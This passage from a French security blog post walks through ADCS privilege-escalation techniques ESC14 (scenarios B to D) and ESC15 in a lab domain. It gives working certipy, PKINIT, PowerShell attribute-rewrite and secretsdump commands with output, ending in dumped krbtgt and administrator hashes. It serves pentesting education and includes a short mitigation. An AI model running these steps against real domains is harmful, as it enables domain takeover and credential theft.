PS C:\> certutil -Dump -v .\viserys.targaryen.pfx
================ Certificate 0 ================
[..]
Subject:
CN=Viserys Targaryen
[..]
2.5.29.17: Flags = 0, Length = 14
Subject Alternative Name
RFC822 Name=user@contoso.com
[..]
Signature test passed
CertUtil: -dump command completed successfully.À l'aide de ce certificat, nous pouvons demander le TGT de l'utilisateur possédant l'adresse e-mail user@contoso.com au sein de son attribut altSecurityIdentities, donc notre cible daenerys.targaryen :
$ gettgtpkinit.py -cert-pfx 'viserys.targaryen.pfx' -dc-ip 192.168.42.144 'essos.local/daenerys.targaryen' esc14-b.ccache
2025-01-10 11:38:12,720 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-01-10 11:38:12,923 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-01-10 11:38:12,958 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-01-10 11:38:12,958 minikerberos INFO d68fcb3c464022c1824c446f9e21e72a8c7001206b4bd6b6d8bb3d9a133b2792
INFO:minikerberos:d68fcb3c464022c1824c446f9e21e72a8c7001206b4bd6b6d8bb3d9a133b2792Puisque cet utilisateur est administrateur du domaine essos.local, en possédant ce TGT, il est possible de retrouver tous les identifiants et hashs des mots de passe des utilisateurs du domaine, démontrant ainsi sa compromission :
$ export KRB5CCNAME=esc14-b.ccache
$ secretsdump -just-dc-user krbtgt -k -no-pass "essos.local"/"daenerys.targaryen"@"meereen.essos.local"
Impacket v0.13.0.dev0+20240918.213844.ac790f2b - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f35bcad33cc0f3a206f6a6d73d9d5185:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:32756636bc4007c2786a8166f05a54494e83ce658300f2af6610f8c13a6f1a30
krbtgt:aes128-cts-hmac-sha1-96:da32e384b313f403844b20bccce22665
krbtgt:des-cbc-md5:79c1baf458fd5bbc
[*] Cleaning up...Scénario C – Exploitation du mapping X509IssuerSubject
Lors de ce scénario, un attaquant peut compromettre n'importe quelle cible possédant un mapping X509IssuerSubject au sein de son attribut altSecurityIdentities. Dépendamment de la configuration du certificat, il est possible d'utiliser un compte utilisateur victime ou un compte machine victime dans le but de compromettre la cible (un compte utilisateur ou un compte machine).
Plusieurs prérequis sont nécessaires pour réaliser ce scénario :
- L'attaquant (
khal.drogo) possède les privilèges GenericWrite sur le compte victime utilisateur ou machine ;- Dans le cas d'un compte utilisateur (
viserys.targaryen), l'attaquant a la possibilité de réécrire les attributscnetnamede la victime ; - Dans le cas d'un compte machine victime (
drogon$), il est possible de réécrire l'attributdnsHostNamede la machine ;
- Dans le cas d'un compte utilisateur (
- L'attribut
msPKI-Enrollment-Flagdoit posséder la valeur :CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME: dans le cas d'un compte utilisateur ;CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN: dans le cas d'un compte machine ;
- Le certificat (ESC14-C) ne doit pas posséder les valeurs
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATHetCT_FLAG_SUBJECT_REQUIRE_EMAILau sein de son attributmsPKI-Certificate-Name-Flag
Note : Dans le cas où un compte utilisateur serait utilisé pour compromettre un autre compte utilisateur, alors ces deux utilisateurs ne doivent pas être situés dans le même conteneur. En effet, le Contrôleur de Domaine ne permettra pas la présence de deux objets possédant le même attribut cn.
Considérons le compte machine cible DROGON$, il possède un attribut altSecurityIdentities configuré de la manière suivante :
PS C:\> Get-AltSecIDMapping -SearchBase "CN=DROGON,CN=Computers,DC=essos,DC=local"
CN=DROGON,CN=Computers,DC=essos,DC=local
X509:<I>DC=local,DC=essos,CN=essos-CA<S>CN=drogon.essos.localAinsi que le certificat vulnérable ESC14-C :
Template Name : ESC14-C
Display Name : ESC14-C
Certificate Authorities : essos-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDnsAsCn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Computers
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Domain Users
ESSOS.LOCAL\Enterprise AdminsPour ce scénario, nous allons réécrire les attributs d'un compte utilisateur victime (viserys.targaryen) afin de compromettre un compte machine (drogon$).
Dans une session d'un utilisateur (khal.drogo) possédant les droits GenericWrite sur notre utilisateur cible (viserys.targaryen), nous éditons son attribut CN afin qu'il soit le même que celui de l'attribut altSecurityIdentities de la victime (drogon$) :
PS C:\> $user = [ADSI]"LDAP://CN=Viserys Targaryen,CN=Users,DC=essos,DC=local"
PS C:\> $user.rename("CN=drogon.essos.local")Nous pouvons vérifier que les attributs de l'utilisateur ont bien été réécrits :
PS C:\> Get-ADUser viserys.targaryen
DistinguishedName : CN=drogon.essos.local,CN=Users,DC=essos,DC=local
Enabled : True
GivenName : Viserys
Name : drogon.essos.local
ObjectClass : user
ObjectGUID : 681826a8-2be4-4865-9d5d-242ca7cc6fa8
SamAccountName : viserys.targaryen
SID : S-1-5-21-3916925216-3628017872-3440997016-1109
Surname : Targaryen
UserPrincipalName : viserys.targaryen@essos.localEnsuite, nous demandons un certificat pour l'utilisateur victime, on peut obtenir le hash du mot de passe du compte victime grâce à Shadow Credentials, si nous ne le possédons pas en clair :
$ certipy req -u 'viserys.targaryen@essos.local' -hashes 'd96a55df6bef5e0b4d6d956088036097' -template "ESC14-C" -ca "essos-CA" -target "braavos.essos.local"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'viserys.targaryen.pfx'Finalement, nous pouvons nous authentifier en tant que le compte machine sur la machine cible puisque ce certificat identifie notre utilisateur victime en tant que la machine drogon$. L'option -ldap-shell nous permet d'obtenir un shell LDAP via l'authentification par SChannel :
$ certipy auth -pfx viserys.targaryen.pfx -dc-ip 192.168.42.142 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Connecting to 'ldaps://192.168.42.142:636'
[*] Authenticated to '192.168.42.142' as: u:ESSOS\DROGON$
Type help for list of commands
#Grâce à ce shell, il est possible de mettre en place un Resource-Based Constrained Delegation pour compromettre le compte (comme nous avons pu le faire au sein du premier article).
Scénario D – Exploitation du mapping X509SubjectOnly
Ce dernier scénario peut être rapproché du scénario C où un compte machine ou un compte utilisateur victime peut être utilisé pour compromettre un compte machine ou utilisateur cible. L'attaquant doit posséder les mêmes prérequis :
- L'attaquant (
khal.drogo) possède les privilèges GenericWrite sur le compte victime utilisateur ou machine ;- Dans le cas d'un compte utilisateur (
viserys.targaryen), l'attaquant a la possibilité de réécrire les attributscnetnamede la victime ; - Dans le cas d'un compte machine victime (
drogon$), il est possible de réécrire l'attributdNSHostNamede la machine ;
- Dans le cas d'un compte utilisateur (
- L'attribut
msPKI-Enrollment-Flagdoit posséder le flag :CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME: dans le cas d'un compte utilisateur ;CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN: dans le cas d'un compte machine ;
- Le certificat (ESC14-D) ne doit pas posséder les valeurs
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATHetCT_FLAG_SUBJECT_REQUIRE_EMAILau sein de son attributmsPKI-Certificate-Name-Flag
Note : de la même manière que pour le scénario C, les comptes victimes permettant de compromettre les comptes cibles ne doivent pas être placés dans le même conteneur logique sinon le serveur Contrôleur de Domaine empêchera la modification des attributs afin d'empêcher toute confusion entre deux objets.
Considérons notre cible l'utilisateur Daenerys Targaryen, administrateur du domaine Essos.local. Nous pouvons consulter son attribut altSecurityIdentities grâce au script Get-AltSecIDMapping.ps1 :
PS C:\> Get-AltSecIDMapping -SearchBase "CN=Daenerys Targaryen,CN=Users,DC=essos,DC=local"
CN=Daenerys Targaryen,CN=Users,DC=essos,DC=local
X509:<S>CN=Daenerys TargaryenEt le modèle de certificat ESC14-D :
Template Name : ESC14-D
Display Name : ESC14-D
Certificate Authorities : essos-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDnsAsCn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Domain Users
ESSOS.LOCAL\Enterprise AdminsEn utilisant notre utilisateur ayant les privilèges GenericWrite sur la machine DROGON$, nous allons réécrire l'attribut dNSHostName afin qu'il contienne la valeur du CN inclut dans l'attribut altSecurityIdentities de la victime :
PS C:\> $victim = [ADSI]"LDAP://CN=DROGON,CN=Computers,DC=essos,DC=local"
PS C:\> $victim.Properties["dNSHostName"].Value="Daenerys Targaryen"
PS C:\> $victim.CommitChanges()De là il est possible de générer un certificat pour le compte machine que nous venons de modifier, soit on connaît son mot de passe car le compte machine a été arbitrairement ajouté par l'attaquant, soit on connaît le hash de son mot de passe grâce à l'attaque Shadow Credentials. Ici nous optons pour la première solution car nous avons créé manuellement la machine :
$ certipy req -u 'DROGON@essos.local' -p 'dracarys' -template "ESC14-D" -ca "essos-CA" -target "braavos.essos.local"
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 46
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'drogon.pfx'Nous pouvons vérifier avec l'outil certutil que le certificat présente bien le CommonName de notre cible :
PS C:\> certutil -Dump -v .\drogon.pfx
================ Certificate 0 ================
[..]
Subject:
CN=Daenerys Targaryen
[..]
Signature test passed
CertUtil: -dump command completed successfully.Enfin, à l'aide de ce certificat, nous pouvons demander le TGT de l'utilisateur Daenerys Targaryen :
$ certipy auth -pfx drogon.pfx -dc-ip 192.168.42.157 -username daenerys.targaryen -domain essos.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: daenerys.targaryen@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'daenerys.targaryen.ccache'
[*] Trying to retrieve NT hash for 'daenerys.targaryen'
[*] Got hash for 'daenerys.targaryen@essos.local':
aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47aPuis compromettre l'intégralité du domaine grâce à ses privilèges d'administrateur du domaine :
$ export KRB5CCNAME=daenerys.targaryen.ccache
$ secretsdump -just-dc-user krbtgt -k -no-pass "essos.local"/"daenerys.targaryen"@"meereen.essos.local"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f35bcad33cc0f3a206f6a6d73d9d5185:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:32756636bc4007c2786a8166f05a54494e83ce658300f2af6610f8c13a6f1a30
krbtgt:aes128-cts-hmac-sha1-96:da32e384b313f403844b20bccce22665
krbtgt:des-cbc-md5:79c1baf458fd5bbc
[*] Cleaning up...
ESC15
La toute dernière vulnérabilité ADCS découverte date du début d'octobre 2024. Cette vulnérabilité a été découverte par Justin Bollinger[^24], expert de chez TrustedSec et est référencée en tant que CVE-2024-49019.
À sa création avec Windows Server 2000, ADCS incluait plusieurs modèles de certificats, présents par défaut, pour des tâches quotidiennes. Par exemple, le modèle WebServer était utilisé pour l'authentification des serveurs. Avec Windows Server 2003, Microsoft a amélioré ses certificats en introduisant la version 2. Cela a apporté bon nombre de fonctionnalités supplémentaires, permettant entre autres de personnaliser les certificats et d'en créer de nouveaux. En effet, la version 1 des modèles de certificats ne permettait uniquement aux administrateurs de modifier les privilèges des utilisateurs, notamment leur capacité à les demander. Sauf que, ces modèles de certificat reposant sur la version 1 sont encore présents, et c'est ce qu'exploite ESC15.
La vulnérabilité réside dans un conflit entre deux attributs du certificat de version 1. Usuellement, ADCS utilise l'attribut Extended Key Usage (EKU) pour définir l'utilisation du certificat. Mais si l'attribut Application Policies est renseigné, ADCS privilégie cet attribut pour définir le cadre d'utilisation du certificat.
De cette manière, la vulnérabilité réside dans la possibilité pour un attaquant de réécrire l'attribut Application Policies d'un modèle de certificat de version 1. Si ce certificat permet, en plus, d'ajouter arbitrairement le nom de l'utilisateur pour lequel le certificat est demandé (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), l'attaquant se retrouve dans un cas similaire à ESC1. Néanmoins, ce certificat ne peut être utilisé qu'au travers de SChannel, et non de PKINIT.
ESC15 peut être exploité à l'aide de l'outil Certipy. Mais il s'agit d'un fork[^25] réalisé par dru1d-foofus grâce au travail et à la collaboration de Justin Bollinger.
En utilisant cette version de Certipy, il est possible de détecter les certificats vulnérables à l'attaque ESC15 :
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : essos-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : AttestNone
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Schema Version : 1
Permissions
Enrollment Permissions
Enrollment Rights : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ESSOS.LOCAL\Authenticated Users
Object Control Permissions
Owner : ESSOS.LOCAL\Enterprise Admins
Write Owner Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Write Property Principals : ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC15 : 'ESSOS.LOCAL\\Authenticated Users' can enroll,
enrollee supplies subject and schema version is 1
Ensuite, à l'aide d'un compte utilisateur standard du domaine, nous pouvons demander le certificat, ajouter l'UPN de l'utilisateur que nous souhaitons usurper (le Enrollee Supplies Subject) et le nouvel Application Policies, permettant dans notre cas l'authentification du client :
$ certipy req -ca 'essos-CA' -target 'braavos.essos.local' -u 'khal.drogo@essos.local' -p 'horse' -template 'WebServer' -upn 'Administrator@essos.local' --application-policies 'Client Authentication'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 48
[*] Got certificate with UPN 'Administrator@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
À l'aide de ce certificat, nous pouvons nous connecter en tant que le compte Administrateur via SChannel sur le contrôleur de domaine :
$ certipy auth -pfx administrator.pfx -u Administrator@essos.local -dc-ip 192.168.42.157 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Connecting to 'ldaps://192.168.42.157:636'
[*] Authenticated to '192.168.42.157' as: u:ESSOS\Administrator
Type help for list of commands
#De là il est possible de mettre en place un Resource-Based Constrained Delegation sur le serveur comme nous avons pu le présenter dans l'article précédent.
Finalement, la criticité de cette vulnérabilité ne réside pas tant dans la possibilité de transformer n'importe quel certificat de version 1 en certificat vulnérable à l'attaque ESC1. Il est possible de choisir arbitrairement le cas d'usage du certificat ce qui rapproche plutôt de l'attaque ESC2, plus dangereuse encore que ESC1.
Pour se prémunir de ce genre de vulnérabilité, il est recommandé d'une manière générale de ne plus utiliser la version 1 des modèles de certificat.
Au cours de ces articles nous avons pu montrer les différentes vulnérabilités qui gravitent autour d'ADCS. Nous avons aussi profité de ces articles pour présenter l'outil Certipy qui facilite grandement la détection de ces élévations de privilèges et la réalisation de toutes ces attaques. Néanmoins, nous souhaitons aussi mentionner des alternatives à cet outil comme Certify.exe[^26] pour les environnements Windows, qu'il faut coupler à Rubeus.exe[^27] pour l'authentification Kerberos. Ces deux outils ont été développés par SpecterOps, à l'origine de beaucoup des recherches sur le sujet de l'ADCS.
Notes de bas de page
1. https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
[^2]: Les techniques d'élévation de privilèges précédentes (ESC1 à 8) ont été détaillées dans deux articles publiés précédemment sur le blog de OWN.
[^3]: https://github.com/Orange-Cyberdefense/GOAD
[^4]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b
[^5]: S4U2Self (Service For User To Self) est une extension du protocole Kerberos qui permet à un service d'obtenir un ST (Service Ticket) permettant de s'authentifier auprès de lui-même de la part d'un utilisateur. Ce protocole est généralement utilisé lorsqu'un utilisateur s'authentifie auprès d'un service via un protocole autre que Kerberos et que ledit service souhaite passer par une authentification Kerberos.
[^6]: https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
[^7]: https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
[^8]: https://github.com/topotam/PetitPotam
[^9]: L'article : https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm
[^10]: Hardware Security Module en anglais, d'où le HSM
[^11]: L'article : https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
[^12]: https://learn.microsoft.com/fr-fr/windows-server/identity/ad-ds/manage/understand-security-groups#group-scope
[^13]: https://learn.microsoft.com/fr-fr/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd378897(v=ws.10)#to-link-the-certificate-issuance-policies-to-the-appropriate-groups
[^14]: L'article : https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9
[^15]: https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/Alt-Security-Identities/Alt-Security-Identities.md
[^16]: https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/#section-3-4
[^17]: https://github.com/JonasBK/Powershell/tree/master
[^18]: https://github.com/JonasBK/Powershell/blob/master/Get-X509IssuerSerialNumberFormat.ps1
[^19]: https://github.com/JonasBK/Powershell/blob/master/Add-AltSecIDMapping.ps1
[^20]: https://github.com/JonasBK/Powershell/blob/master/Get-AltSecIDMapping.ps1
[^21]: https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py
[^22]: https://github.com/dirkjanm/PKINITtools/tree/master
[^23]: https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py
[^24]: https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc
[^25]: https://github.com/ly4k/Certipy/pull/228
[^26]: https://github.com/GhostPack/Certify
[^27]: https://github.com/GhostPack/Rubeus
2. Les techniques d’élévation de privilèges précédentes ont été détaillées dans deux articles publiés précédemment sur le blog de OWN :
- ESC1 : https://www.own.security/ressources/blog/etat-de-lart-de-la-compromission-dun-environnement-ad-cs-partie-1
- ESC2 à ESC8 : https://www.own.security/ressources/blog/etat-de-lart-de-la-compromission-dun-environnement-ad-cs-esc2-esc8
3. https://github.com/Orange-Cyberdefense/GOAD
4. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b
5. S4U2Self (Service For UserTo Self) est une extension du protocole Kerberos qui permet à un service d’obtenir un ST (Service Ticket) permettant de s’authentifier auprès de lui-même de la part d’un utilisateur. Ce protocole est généralement utilisé lorsqu’un utilisateur s’authentifie auprès d’un service via un protocole autre que Kerberos et que ledit service souhaite passer par une authentificationKerberos.
6. https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
7. https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
8. https://github.com/topotam/PetitPotam
9. L’article : https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm
10. Hardware Security Module en anglais, d’où le HSM
11. L’article : https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
12. https://learn.microsoft.com/fr-fr/windows-server/identity/ad-ds/manage/understand-security-groups#group-scope
13. https://learn.microsoft.com/fr-fr/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd378897(v=ws.10)#to-link-the-certificate-issuance-policies-to-the-appropriate-groups





